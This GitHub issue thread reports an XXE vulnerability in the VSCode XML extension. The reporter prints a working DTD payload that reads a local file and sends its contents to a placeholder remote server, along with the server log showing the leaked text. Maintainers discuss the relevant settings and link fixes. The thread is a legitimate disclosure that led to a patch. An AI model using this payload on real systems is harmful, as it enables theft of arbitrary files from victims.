Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve DTD/XSD security with regard to remote resources #671

Closed
m-1tZ opened this issue Mar 1, 2022 · 7 comments · Fixed by eclipse-lemminx/lemminx#1183 or #673
Closed

Improve DTD/XSD security with regard to remote resources #671

m-1tZ opened this issue Mar 1, 2022 · 7 comments · Fixed by eclipse-lemminx/lemminx#1183 or #673
Labels
bug Something isn't working DTD
Milestone

Comments

@m-1tZ
Copy link

m-1tZ commented Mar 1, 2022

Issue

While testing for an XXE vulnerability in an application, I noticed a strange behavior from my VSCode. I could trace this back to your VSCode extension (XML Language Support by Red Hat) which executes my payload.dtd when opened in trusted mode or within a trusted project, and leaked my own files to my web server. The DTD payload can be seen in the following:

<!ENTITY % file SYSTEM "file:///tmp/secret.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<server>:8080/dtd.xml?%file;'>">
%eval;
%exfiltrate;

Execution

The file /tmp/secret.txt contains sensitive information and represents an arbitrary file on the filesystem of the victim. Upon the opened DTD file, the VSCode XML extension executes the payload and the destination server receives requests of the file content, which can be seen down below:

$ ~/httpserver % python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
<ip>- - [01/Mar/2022 17:24:46] code 404, message File not found
<ip>- - [01/Mar/2022 17:24:46] "GET /dtd.xml?SECRETTEXT HTTP/1.1" 404 -

Impact

Any *.dtd payload that is opened in a trusted VSCode project, will leak arbitrary files to an remote attacker and thus poses a major security problem. There are several ways distributing the DTD file to an victim (e.g. via a merge request, as an external file via a communication channel, via copy and paste platforms like StackOverflow,...).

@angelozerr
Copy link
Contributor

At first which vesion of vscode xml are you using?

We fixed several xxe issues in 1.9.1.

If I understand correctly you are not in unstruted workspace context. So you could have some xxe issues. If you are in unstrusted it should never load your dtd from system and external entities.

In trusted workspace it should download only dtd in system but not from external entities except if you have set the resolveexternalentities setting to true.

@fbricon
Copy link
Collaborator

fbricon commented Mar 1, 2022

I understand the problem, but the keyword here is "trusted". You already trust the workspace to behave properly. Do you expect another level of trust to prevent remote queries to be performed? (which you can disable with by setting the "xml.downloadExternalResources.enabled" preference to "false")

@m-1tZ
Copy link
Author

m-1tZ commented Mar 2, 2022

I'm running the latest version of this extension, which means v0.19.1. I totally agree with you @fbricon and the "trusted" keyword here, but a project can be classified as trustworthy quite quickly. Since there is an option "xml.downloadExternalResources.enabled" to turn this behavior off, should it not be turned off by default? An opt-in approach seems for me the better approach for such major security problem.

@angelozerr
Copy link
Contributor

Turning by default "xml.downloadExternalResources.enabled` means that you will loose all fetaures based on XSD/DTD (XML completion based on XSD/DTD, XML validation based on XSD/DTD, etc), in other words you will benefit with few features like XML syntax validation.

Your case is about external entities which shoule be managed with xml.validation.resolveExternalEntities which is set to false by default in untrusted/trusted context. See https://github.com/redhat-developer/vscode-xml/blob/master/docs/Validation.md#resolve-external-entities

My question is if you set xml.validation.resolveExternalEntities to false, is your server is called? It should not I think.

@m-1tZ
Copy link
Author

m-1tZ commented Mar 2, 2022

My server is still called no matter if the xml.validation.resolveExternalEntities is false or true @angelozerr . The only way my server is not called is with xml.downloadExternalResources.enabled set to false. Nevertheless, I did not adjust the settings, which means this file read is possible by default, no matter what settings were set here.

@angelozerr
Copy link
Contributor

Thanks for your feedback. I need to understand why url is called.

I wonder if the file is downloaded in lemminx cache or if this call is just to check the existing of the url.

@angelozerr angelozerr added bug Something isn't working DTD labels Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 4, 2022
@angelozerr
Copy link
Contributor

@m-1tZ I work on this issue, see eclipse-lemminx/lemminx#1183 (comment)

angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 7, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 7, 2022
angelozerr added a commit to angelozerr/vscode-xml that referenced this issue Mar 7, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 7, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 25, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 26, 2022
@angelozerr angelozerr added this to the 0.19.2 milestone Mar 26, 2022
angelozerr added a commit to angelozerr/vscode-xml that referenced this issue Mar 26, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 27, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
@angelozerr angelozerr changed the title Arbitrary File Read Improve DTD/XSD security with regard to remote resources Mar 28, 2022
angelozerr added a commit to angelozerr/vscode-xml that referenced this issue Mar 28, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
angelozerr added a commit to angelozerr/lemminx that referenced this issue Mar 28, 2022
angelozerr added a commit to eclipse-lemminx/lemminx that referenced this issue Mar 29, 2022
angelozerr added a commit that referenced this issue Mar 29, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working DTD
Projects
None yet
3 participants